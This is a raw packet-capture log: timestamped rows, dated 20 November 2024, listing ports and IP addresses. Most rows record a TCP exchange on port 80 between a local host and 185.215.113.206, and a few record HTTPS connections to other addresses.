Nov 20, 2024 21:05:46.419845104 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.420442104 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.420768976 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.420943022 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.421387911 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.421403885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.421576977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.422257900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.422362089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.422614098 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.423074007 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.423110962 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.423469067 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.423561096 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.423938036 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.424002886 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.424170017 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.424177885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.424364090 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.424911022 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.425168991 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.425231934 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.425822973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.426000118 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.426062107 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.426161051 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.426703930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.426822901 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.426836014 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.426940918 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.427661896 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.427911043 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.428139925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.428288937 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.428572893 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.428589106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.428797960 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.429466963 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.429641962 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.429721117 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.429785013 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.430304050 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.430387974 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.430639982 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.430794001 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.431247950 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.431262970 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.431334019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.431451082 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.432100058 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.432302952 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.432427883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.433077097 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.433248997 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.433262110 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.433387041 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.433979034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.434451103 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.434575081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.434793949 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.434798002 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.434912920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.434967041 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.435718060 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.435880899 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.436248064 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.436537027 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.436657906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.436672926 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.436731100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.437613964 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.437630892 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.437695980 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.437695980 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.438371897 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.438589096 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.438931942 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.439080954 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.439274073 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.439424038 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.440217972 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.440233946 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.440249920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.440288067 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.440401077 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.441052914 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.441178083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.441306114 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.441306114 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.441960096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.442079067 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.442678928 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.442850113 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.442864895 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.442989111 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.443284035 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.443568945 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.443815947 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.443979979 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.444683075 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.444698095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.444713116 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.444783926 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.444783926 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.445590019 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.445740938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.445944071 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.446465015 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.446856976 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.446882963 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.447221041 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.447362900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.447596073 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.447637081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.447736979 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.448246956 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.448400021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.448600054 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.448755980 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.449166059 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.449307919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.449474096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.449603081 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.450031996 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.450107098 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.450345993 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.450892925 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.450917959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.451106071 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.584290981 CET	443	49828	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:46.585454941 CET	49828	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:46.585454941 CET	49828	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:46.585539103 CET	443	49828	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:46.585577011 CET	443	49828	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:46.596863985 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.596888065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.597223997 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.597259045 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.597340107 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.597393990 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.597443104 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.598154068 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.598329067 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.598543882 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.598745108 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.598975897 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.599183083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.599215984 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.599330902 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.599971056 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.599987984 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.600364923 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.600801945 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.600909948 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.600943089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.601085901 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.601699114 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.601818085 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.601843119 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.602144957 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.602587938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.602754116 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.603542089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.603558064 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.603734970 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.603791952 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.604430914 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.604446888 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.604602098 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.604732990 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.605284929 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.605406046 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.605442047 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.605549097 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.606443882 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.606636047 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.606640100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.606837988 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.607244015 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.607260942 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.607804060 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.607966900 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.608031988 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.608201027 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.608436108 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.608939886 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.609116077 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.609147072 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.609790087 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.609962940 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.609991074 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.610693932 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.610894918 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.610901117 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.611063957 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.611589909 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.611691952 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.611753941 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.612037897 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.612526894 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.612679005 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.612725973 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.612845898 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.613408089 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.613550901 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.613934994 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.614233971 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.614273071 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.614402056 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.614624023 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.614793062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.615247965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.615334034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.615457058 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.615457058 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.616158009 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.616306067 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.616358995 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.616518021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.616974115 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.617109060 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.617225885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.617225885 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.617878914 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.618076086 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.618783951 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.618799925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.618844032 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.618880033 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.618954897 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.619668007 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.620310068 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.620347977 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.620567083 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.620714903 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.620760918 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.621486902 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.621772051 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.621808052 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.622375965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.622456074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.622482061 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.622678995 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.623253107 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.623456955 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.623610020 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.624250889 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.624265909 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.624341011 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.624341011 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.625147104 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.625353098 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.625359058 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.625530958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.625987053 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.626094103 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.626336098 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.626857996 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.626979113 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.627262115 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.627470970 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.627774000 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.627955914 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.628665924 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.628681898 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.628696918 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.628727913 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.628905058 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.629642963 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.629745960 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.629939079 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.630078077 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.630434036 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.630569935 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.630683899 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.630774021 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.631335020 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.631467104 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.631778002 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.631937027 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.632241011 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.632363081 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.632536888 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.632613897 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.633131027 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.633280039 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.633536100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.634063005 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.634212971 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.634346008 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.634422064 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.635102987 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.635225058 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.635276079 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.635827065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.636265993 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.636369944 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.636380911 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.636708975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.636820078 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.637103081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.637387991 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.637696981 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.638003111 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.638562918 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.638578892 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.638595104 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.638710976 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.639453888 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.639569998 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.639612913 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.640327930 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.640450001 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.640492916 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.640572071 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.641222954 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.641370058 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.641428947 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.642097950 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.642288923 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.642772913 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.643013954 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.643017054 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.643150091 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.643172026 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.643268108 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.643877029 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.644685984 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.654392958 CET	443	49829	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:46.655847073 CET	49829	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:46.655927896 CET	443	49829	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:46.656187057 CET	49829	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:46.656200886 CET	443	49829	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:46.660460949 CET	443	49830	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:46.661242962 CET	49830	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:46.661243916 CET	49830	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:46.661328077 CET	443	49830	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:46.661362886 CET	443	49830	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:46.668421030 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:46.668472052 CET	443	49836	172.183.192.109	192.168.2.7
